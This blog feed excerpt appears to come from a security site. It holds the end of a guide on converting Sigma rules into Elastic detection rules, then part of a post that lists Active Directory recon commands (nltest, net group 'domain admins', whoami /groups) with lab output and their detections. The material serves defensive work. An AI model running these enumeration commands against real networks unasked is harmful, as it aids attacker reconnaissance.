&lt;p&gt;We need to install our backend plugin through &lt;code&gt;sigma-cli&lt;/code&gt; so it knows how to talk to Elasticsearch and Elastic Security.&lt;/p&gt;
&lt;p&gt;First, list any backends that are available using:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sigma plugin list -t backend&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You should see existing backends similar to the screenshot below.&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/11/Sigma-Plugin-List-For-Backend.png&quot;&gt;&lt;img alt=&quot;Sigma Plugin List For Backend&quot; decoding=&quot;async&quot; height=&quot;892&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1464px) 100vw, 1464px&quot; src=&quot;/wp-content/uploads/2025/11/Sigma-Plugin-List-For-Backend.png&quot; srcset=&quot;/wp-content/uploads/2025/11/Sigma-Plugin-List-For-Backend.png 1464w, /wp-content/uploads/2025/11/Sigma-Plugin-List-For-Backend-300x183.png 300w, /wp-content/uploads/2025/11/Sigma-Plugin-List-For-Backend-1024x624.png 1024w, /wp-content/uploads/2025/11/Sigma-Plugin-List-For-Backend-768x468.png 768w&quot; width=&quot;1464&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Sigma Plugin List For Backend&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Now install the Elasticsearch plugin:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sigma plugin install elasticsearch&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This pulls the plugin that knows how to translate Sigma rules into Elasticsearch Lucene queries and Elastic Security detection rule formats.&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/11/Sigma-Plugin-Install-Elasticsearch.png&quot;&gt;&lt;img alt=&quot;Sigma Plugin Install Elasticsearch&quot; decoding=&quot;async&quot; height=&quot;109&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 608px) 100vw, 608px&quot; src=&quot;/wp-content/uploads/2025/11/Sigma-Plugin-Install-Elasticsearch.png&quot; srcset=&quot;/wp-content/uploads/2025/11/Sigma-Plugin-Install-Elasticsearch.png 608w, /wp-content/uploads/2025/11/Sigma-Plugin-Install-Elasticsearch-300x54.png 300w, /wp-content/uploads/2025/11/Sigma-Plugin-Install-Elasticsearch-600x109.png 600w&quot; width=&quot;608&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Sigma Plugin Install Elasticsearch&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h2 id=&quot;3-download-sigma-rules&quot;&gt;3. Download Sigma rules&lt;/h2&gt;
&lt;p&gt;You can download the Sigma rules from the latest release page: &lt;a href=&quot;https://github.com/SigmaHQ/sigma/releases&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Releases · SigmaHQ/sigma&lt;/a&gt;. There are different rule packages available for download.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which Sigma rule package should I use?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A detailed explanation can be found in the &lt;a href=&quot;https://github.com/SigmaHQ/sigma/blob/master/Releases.md&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;sigma/Releases.md&lt;/a&gt; file.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you are new, best start with the &lt;strong&gt;Core&lt;/strong&gt; Sigma package. It includes high quality rules of high confidence and relevance and should not produce many false positives.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In this guide I am using &lt;code&gt;Core++&lt;/code&gt; and &lt;code&gt;ET (Emerging Threats) AddOn Rules&lt;/code&gt; to get stronger coverage.&lt;/p&gt;
&lt;p&gt;Once downloaded, extract the archive so that you have a &lt;code&gt;rules&lt;/code&gt; and a &lt;code&gt;rules-emerging-threats&lt;/code&gt; directory that matches the repository layout.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why this step matters for detection:&lt;/strong&gt; these packages give you a curated, maintained Sigma ruleset instead of random one off rules from the internet.&lt;/p&gt;

&lt;h2 id=&quot;4-convert-sigma-rules-to-elasticsearch-lucene&quot;&gt;4. Convert Sigma rules to Elasticsearch Lucene&lt;/h2&gt;
&lt;p&gt;Our goal is to convert many Sigma rules into NDJSON so we can upload them into Kibana in one go instead of creating each rule manually.&lt;/p&gt;
&lt;p&gt;For converting the rules, we need to use &lt;code&gt;sigma convert&lt;/code&gt;.&lt;/p&gt;



&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/11/Sigma-Convert-Cmd-Help.png&quot;&gt;&lt;img alt=&quot;Sigma Convert Cmd Help&quot; decoding=&quot;async&quot; height=&quot;508&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 891px) 100vw, 891px&quot; src=&quot;/wp-content/uploads/2025/11/Sigma-Convert-Cmd-Help.png&quot; srcset=&quot;/wp-content/uploads/2025/11/Sigma-Convert-Cmd-Help.png 891w, /wp-content/uploads/2025/11/Sigma-Convert-Cmd-Help-300x171.png 300w, /wp-content/uploads/2025/11/Sigma-Convert-Cmd-Help-768x438.png 768w&quot; width=&quot;891&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Sigma Convert Cmd Help&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;For our case &lt;code&gt;sigma convert&lt;/code&gt; needs three things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;targets&lt;/li&gt;
&lt;li&gt;pipelines&lt;/li&gt;
&lt;li&gt;formats&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;If you have not installed any backend yet, the targets and pipelines list will be empty.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To see which targets and pipelines are available:&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/11/Sigma-List-Targets-Pipelines.png&quot;&gt;&lt;img alt=&quot;Sigma List Targets Pipelines&quot; decoding=&quot;async&quot; height=&quot;140&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 929px) 100vw, 929px&quot; src=&quot;/wp-content/uploads/2025/11/Sigma-List-Targets-Pipelines.png&quot; srcset=&quot;/wp-content/uploads/2025/11/Sigma-List-Targets-Pipelines.png 929w, /wp-content/uploads/2025/11/Sigma-List-Targets-Pipelines-300x45.png 300w, /wp-content/uploads/2025/11/Sigma-List-Targets-Pipelines-768x116.png 768w&quot; width=&quot;929&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Sigma List Targets Pipelines&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;After installing the Elasticsearch plugin, check targets and pipelines again:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sigma list targets
sigma list pipelines
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This confirms that the &lt;code&gt;lucene&lt;/code&gt; target and the &lt;code&gt;ecs_windows&lt;/code&gt; pipeline are available and ready to use.&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/11/Sigma-Targets-Pipelines.png&quot;&gt;&lt;img alt=&quot;Sigma Targets Pipelines&quot; decoding=&quot;async&quot; height=&quot;448&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1516px) 100vw, 1516px&quot; src=&quot;/wp-content/uploads/2025/11/Sigma-Targets-Pipelines.png&quot; srcset=&quot;/wp-content/uploads/2025/11/Sigma-Targets-Pipelines.png 1516w, /wp-content/uploads/2025/11/Sigma-Targets-Pipelines-300x89.png 300w, /wp-content/uploads/2025/11/Sigma-Targets-Pipelines-1024x303.png 1024w, /wp-content/uploads/2025/11/Sigma-Targets-Pipelines-768x227.png 768w&quot; width=&quot;1516&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Sigma Targets Pipelines&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;Because we will import multiple rules in one go and upload them to Kibana, we will use the &lt;code&gt;lucene&lt;/code&gt; target and a format that generates Elastic Security detection rules.&lt;/p&gt;
&lt;p&gt;For listing formats supported by lucene use:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sigma list formats lucene&lt;/code&gt;&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/11/Sigma-List-Formats-Lucene.png&quot;&gt;&lt;img alt=&quot;Sigma List Formats Lucene&quot; decoding=&quot;async&quot; height=&quot;269&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 956px) 100vw, 956px&quot; src=&quot;/wp-content/uploads/2025/11/Sigma-List-Formats-Lucene.png&quot; srcset=&quot;/wp-content/uploads/2025/11/Sigma-List-Formats-Lucene.png 956w, /wp-content/uploads/2025/11/Sigma-List-Formats-Lucene-300x84.png 300w, /wp-content/uploads/2025/11/Sigma-List-Formats-Lucene-768x216.png 768w&quot; width=&quot;956&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Sigma List Formats Lucene&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;I am only converting rules present in &lt;strong&gt;sigma_core++.zip&lt;/strong&gt; (only Windows) and &lt;strong&gt;sigma_emerging_threats_addon.zip&lt;/strong&gt; from &lt;a href=&quot;https://github.com/SigmaHQ/sigma/releases&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Releases · SigmaHQ/sigma&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For &lt;strong&gt;Windows rules&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sigma convert -t lucene -p ecs_windows -f siem_rule_ndjson ./rules/windows --skip-unsupported -o windows_rules.ndjson
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For &lt;strong&gt;Emerging Threats&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sigma convert -t lucene -p ecs_windows -f siem_rule_ndjson ./rules-emerging-threats --skip-unsupported -o emerging_threat_rules.ndjson
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What these commands do for elasticsearch backend:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-t lucene&lt;/code&gt; selects the Elasticsearch Lucene query language.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p ecs_windows&lt;/code&gt; applies the ECS Windows pipeline for correct field mappings.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-f siem_rule_ndjson&lt;/code&gt; outputs Kibana SIEM rules in NDJSON format.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--skip-unsupported&lt;/code&gt; skips rules that cannot be converted by this backend.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-o &amp;lt;file&amp;gt;.ndjson&lt;/code&gt; writes all generated rules into a single NDJSON file, ready for import.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At the end of this step you should have two files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;windows_rules.ndjson&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;emerging_threat_rules.ndjson&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These will be imported into Kibana in the next step. From a defender perspective this means you have turned upstream Sigma content into concrete Elastic Security rules you can enable, tune, and monitor.&lt;/p&gt;

&lt;h2 id=&quot;5-upload-ndjson-rules-to-kibana&quot;&gt;5. Upload NDJSON rules to Kibana&lt;/h2&gt;
&lt;p&gt;Open Kibana and navigate to &lt;strong&gt;Security -&amp;gt; Rules -&amp;gt; Detection rules (SIEM).&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click &lt;strong&gt;Import Rules&lt;/strong&gt; and upload the two NDJSON files you generated in the previous step.&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/11/Import-Sigma-Rules-Kibana.png&quot;&gt;&lt;img alt=&quot;Import Sigma Rules Kibana&quot; decoding=&quot;async&quot; height=&quot;740&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1674px) 100vw, 1674px&quot; src=&quot;/wp-content/uploads/2025/11/Import-Sigma-Rules-Kibana.png&quot; srcset=&quot;/wp-content/uploads/2025/11/Import-Sigma-Rules-Kibana.png 1674w, /wp-content/uploads/2025/11/Import-Sigma-Rules-Kibana-300x133.png 300w, /wp-content/uploads/2025/11/Import-Sigma-Rules-Kibana-1024x453.png 1024w, /wp-content/uploads/2025/11/Import-Sigma-Rules-Kibana-768x339.png 768w&quot; width=&quot;1674&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Import Sigma Rules Kibana&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;For more detail on import and export behavior, see the official &lt;a href=&quot;https://www.elastic.co/docs/solutions/security/detect-and-alert/manage-detection-rules&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Elastic documentation on managing detection rules&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I have not enabled Elastic prebuilt rules in this lab, but you can enable them alongside your Sigma based rules if you want more coverage.&lt;/p&gt;
&lt;p&gt;After importing all rules, the Sigma based rules appear in the rules table:&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/11/Imported-Rules-Into-Elastic.png&quot;&gt;&lt;img alt=&quot;Imported Rules Into Elastic&quot; decoding=&quot;async&quot; height=&quot;708&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1897px) 100vw, 1897px&quot; src=&quot;/wp-content/uploads/2025/11/Imported-Rules-Into-Elastic.png&quot; srcset=&quot;/wp-content/uploads/2025/11/Imported-Rules-Into-Elastic.png 1897w, /wp-content/uploads/2025/11/Imported-Rules-Into-Elastic-300x112.png 300w, /wp-content/uploads/2025/11/Imported-Rules-Into-Elastic-1024x382.png 1024w, /wp-content/uploads/2025/11/Imported-Rules-Into-Elastic-768x287.png 768w&quot; width=&quot;1897&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Imported Rules Into Elastic&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;At this point Elasticsearch is running Sigma rules converted by &lt;code&gt;sigma-cli&lt;/code&gt; for the Elasticsearch backend, and you can start tuning, disabling noisy rules, and adding environment specific exceptions. ✅&lt;/p&gt;

&lt;h2 id=&quot;key-takeaways-for-defenders&quot;&gt;Key takeaways for defenders&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;You now have a repeatable pipeline from upstream Sigma releases to Elastic detection rules.&lt;/li&gt;
&lt;li&gt;Core++ rules give you broad coverage of common Windows TTPs, while Emerging Threats AddOn Rules track specific actors and exploits that may age faster.&lt;/li&gt;
&lt;li&gt;The Elasticsearch backend and &lt;code&gt;ecs_windows&lt;/code&gt; pipeline ensure field names line up with ECS, so matches are reliable instead of brittle string searches.&lt;/li&gt;
&lt;li&gt;NDJSON export and bulk import let you treat detection rules as code and re seed a new Elastic lab in minutes.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://sigmahq.io/docs/guide/getting-started.html&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Getting Started | Sigma Detection Format&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/SigmaHQ/pySigma&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;GitHub – SigmaHQ/pySigma: Python library to parse and convert Sigma rules into queries (and whatever else you could imagine)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/SigmaHQ/pySigma-backend-elasticsearch&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;GitHub – SigmaHQ/pySigma-backend-elasticsearch: pySigma Elasticsearch backend&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/SigmaHQ/sigma/releases&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Releases · SigmaHQ/sigma&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

</content:encoded><category>detection-engineering</category><category>threat-hunting</category><category>elasticsearch</category><category>kibana</category><category>siem</category><category>sigma</category><category>sigma-cli</category></item><item><title>Discovery using nltest, net and whoami</title><link>https://www.securityinbits.com/detection-engineering/nltest-whoami-net-discovery/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=1408</guid><description>Learn how adversaries run nltest, whoami, and net for AD recon, with ready Sigma detections and process context to detect and triage.</description><pubDate>Thu, 02 Oct 2025 14:18:46 GMT</pubDate><content:encoded>
&lt;blockquote&gt;
&lt;p&gt;Quick, high-signal ways to enumerate DCs, trusts, and privileged groups in Active Directory plus how to detect them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Overview&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Why it matters: these commands are common during early recon.&lt;/li&gt;
&lt;li&gt;What you get: exact commands, sample output, Sigma detections, and in-the-wild cases.&lt;/li&gt;
&lt;li&gt;Defend: pair command-line telemetry with parent/child process context and alert tuning.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;known-in-the-wild-incidents&quot;&gt;Known in-the-wild incidents&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Source Title&lt;/th&gt;
&lt;th&gt;Source (with link)&lt;/th&gt;
&lt;th&gt;Publish Date&lt;/th&gt;
&lt;th&gt;Commands referred&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Blurring the Lines: Intrusion Shows Connection With Three Major Ransomware Gangs&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://thedfirreport.com/2025/09/08/blurring-the-lines-intrusion-shows-connection-with-three-major-ransomware-gangs/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;The DFIR Report&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;8 Sep, 2025&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nltest&lt;/code&gt; for AD/DC enumeration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;The DFIR Report&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;5 Aug, 2025&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nltest /dclist:&lt;/code&gt;; &lt;code&gt;nltest /domain_trusts&lt;/code&gt;; &lt;code&gt;whoami /groups&lt;/code&gt;; &lt;code&gt;net group &quot;domain admins&quot; /dom&lt;/code&gt;; &lt;code&gt;net group &quot;enterprise admins&quot; /dom&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SharePoint ToolShell – Zero-Day Exploited in-the-Wild Targets Enterprise Servers&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.sentinelone.com/blog/sharepoint-toolshell-zero-day-exploited-in-the-wild-targets-enterprise-servers/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;SentinelLabs&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;21 Jul, 2025&lt;/td&gt;
&lt;td&gt;&lt;code&gt;whoami&lt;/code&gt; (captured via webshell command execution)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#StopRansomware: Play Ransomware&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;CISA&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;4 Jun, 2025&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nltest&lt;/code&gt; used for network discovery &lt;em&gt;(behavior described, exact switches not quoted)&lt;/em&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;QSC: new modular framework in CloudComputating campaigns&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://securelist.com/cloudcomputating-qsc-framework/114438/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Securelist&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;8 Nov, 2024&lt;/td&gt;
&lt;td&gt;&lt;code&gt;net group &quot;domain admins&quot; /domain&lt;/code&gt;; &lt;code&gt;whoami&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attack Cases Against HTTP File Server (HFS) (CVE-2024-23692)&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://asec.ahnlab.com/en/76436/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;AhnLab ASEC&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;28 Jun, 2024&lt;/td&gt;
&lt;td&gt;&lt;code&gt;whoami&lt;/code&gt; during post-exploitation reconnaissance&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Operation Crimson Palace: A Technical Deep Dive&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://news.sophos.com/en-us/2024/06/05/operation-crimson-palace-a-technical-deep-dive/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Sophos X-Ops&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;5 Jun, 2024&lt;/td&gt;
&lt;td&gt;&lt;code&gt;net group &quot;domain admins&quot; /domain&lt;/code&gt;; &lt;code&gt;nltest /domain_trusts&lt;/code&gt; &lt;em&gt;(plus related domain enumeration)&lt;/em&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;sigma-rules&quot;&gt;Sigma Rules&lt;/h2&gt;

&lt;h3 id=&quot;visual-mapping&quot;&gt;Visual mapping&lt;/h3&gt;
&lt;p&gt;Command-to-rule mapping for nltest, whoami, and net.&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/09/Discovery-Sigma-Mapping-scaled.png&quot;&gt;&lt;img alt=&quot;Discovery Sigma Mapping&quot; decoding=&quot;async&quot; height=&quot;1043&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 2080px) 100vw, 2080px&quot; src=&quot;/wp-content/uploads/2025/09/Discovery-Sigma-Mapping-scaled.png&quot; srcset=&quot;/wp-content/uploads/2025/09/Discovery-Sigma-Mapping-scaled.png 2080w, /wp-content/uploads/2025/09/Discovery-Sigma-Mapping-300x150.png 300w, /wp-content/uploads/2025/09/Discovery-Sigma-Mapping-1024x514.png 1024w, /wp-content/uploads/2025/09/Discovery-Sigma-Mapping-768x385.png 768w&quot; width=&quot;2080&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Discovery Sigma Mapping&lt;/figcaption&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;Elastic Sigma alerts&lt;/strong&gt;&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/09/Discovery-Sigma-Rules.png&quot;&gt;&lt;img alt=&quot;Discovery Sigma Rules&quot; decoding=&quot;async&quot; height=&quot;398&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1145px) 100vw, 1145px&quot; src=&quot;/wp-content/uploads/2025/09/Discovery-Sigma-Rules.png&quot; srcset=&quot;/wp-content/uploads/2025/09/Discovery-Sigma-Rules.png 1145w, /wp-content/uploads/2025/09/Discovery-Sigma-Rules-300x104.png 300w, /wp-content/uploads/2025/09/Discovery-Sigma-Rules-1024x356.png 1024w, /wp-content/uploads/2025/09/Discovery-Sigma-Rules-768x267.png 768w&quot; width=&quot;1145&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Discovery Sigma Rules&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h3 id=&quot;potential-recon-activity-via-nltest-exe&quot;&gt;Potential Recon Activity Via Nltest.EXE&lt;/h3&gt;
&lt;p&gt;Nltest is a Windows command-line utility used to list domain controllers and enumerate domain trusts.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nltest.exe /dclist: domain
nltest.exe /domain_trusts
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&quot;example-output&quot;&gt;Example output&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\john&amp;gt;nltest /dclist:DC1
Get list of DCs in domain &apos;DC1&apos; from &apos;\\HOME-DC&apos;.
    HOME-DC.DC1.local [PDC]  [DS] Site: Default-First-Site-Name
The command completed successfully

C:\Users\john&amp;gt;nltest /domain_trusts
List of domain trusts:
    0: DC1 DC1.local (NT 5) (Forest Tree Root) (Primary Domain) (Native)
The command completed successfully
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;suspicious-group-and-account-reconnaissance-activity-using-n&quot;&gt;Suspicious Group And Account Reconnaissance Activity Using Net.EXE&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;net.exe group &quot;domain admins&quot; /dom
net.exe group &quot;enterprise admins&quot; /dom
&lt;/code&gt;&lt;/pre&gt;

&lt;h4 id=&quot;example-output-2&quot;&gt;Example output&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;net group &quot;domain admins&quot; /dom&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\john&amp;gt;net group &quot;domain admins&quot; /dom
The request will be processed at a domain controller for domain DC1.local.

Group name     Domain Admins
Comment        Designated administrators of the domain

Members

-------------------------------------------------------------------------------
Administrator            MSSQLService             user2
The command completed successfully.
&lt;/code&gt;&lt;/pre&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/09/Process-Tree-Net-Cmd.png&quot;&gt;&lt;img alt=&quot;Process Tree Net Cmd&quot; decoding=&quot;async&quot; height=&quot;296&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1034px) 100vw, 1034px&quot; src=&quot;/wp-content/uploads/2025/09/Process-Tree-Net-Cmd.png&quot; srcset=&quot;/wp-content/uploads/2025/09/Process-Tree-Net-Cmd.png 1034w, /wp-content/uploads/2025/09/Process-Tree-Net-Cmd-300x86.png 300w, /wp-content/uploads/2025/09/Process-Tree-Net-Cmd-1024x293.png 1024w, /wp-content/uploads/2025/09/Process-Tree-Net-Cmd-768x220.png 768w&quot; width=&quot;1034&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Process Tree Net Cmd&lt;/figcaption&gt;&lt;/figure&gt;

&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;code&gt;net group &quot;enterprise admins&quot; /dom&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\john&amp;gt;net group &quot;enterprise admins&quot; /dom
The request will be processed at a domain controller for domain DC1.local.

Group name     Enterprise Admins
Comment        Designated administrators of the enterprise

Members

-------------------------------------------------------------------------------
Administrator            MSSQLService             user1
The command completed successfully.
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&quot;group-membership-reconnaissance-via-whoami-exe&quot;&gt;Group Membership Reconnaissance Via Whoami.EXE&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;whoami.exe /groups&lt;/code&gt;&lt;/p&gt;

&lt;h4 id=&quot;example-output-3&quot;&gt;Example output&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\john&amp;gt;whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                     Alias            S-1-5-32-544 Group used for deny only
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
....
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&quot;siem-detections&quot;&gt;SIEM Detections&lt;/h2&gt;
&lt;p&gt;These queries were generated by converting the Sigma rule with &lt;strong&gt;pySigma backends.&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;potential-recon-activity-via-nltest-exe-2&quot;&gt;Potential Recon Activity Via Nltest.EXE&lt;/h3&gt;
&lt;p&gt;Detects nltest commands that can be used for information discovery&lt;/p&gt;

&lt;div class=&quot;tabs&quot;&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Microsoft Defender (KQL)&lt;/summary&gt;&lt;pre class=&quot;shiki vitesse-dark&quot; style=&quot;background-color:#010101;color:#dbd7caee&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;DeviceProcessEvents&lt;/span&gt;&lt;/span&gt;
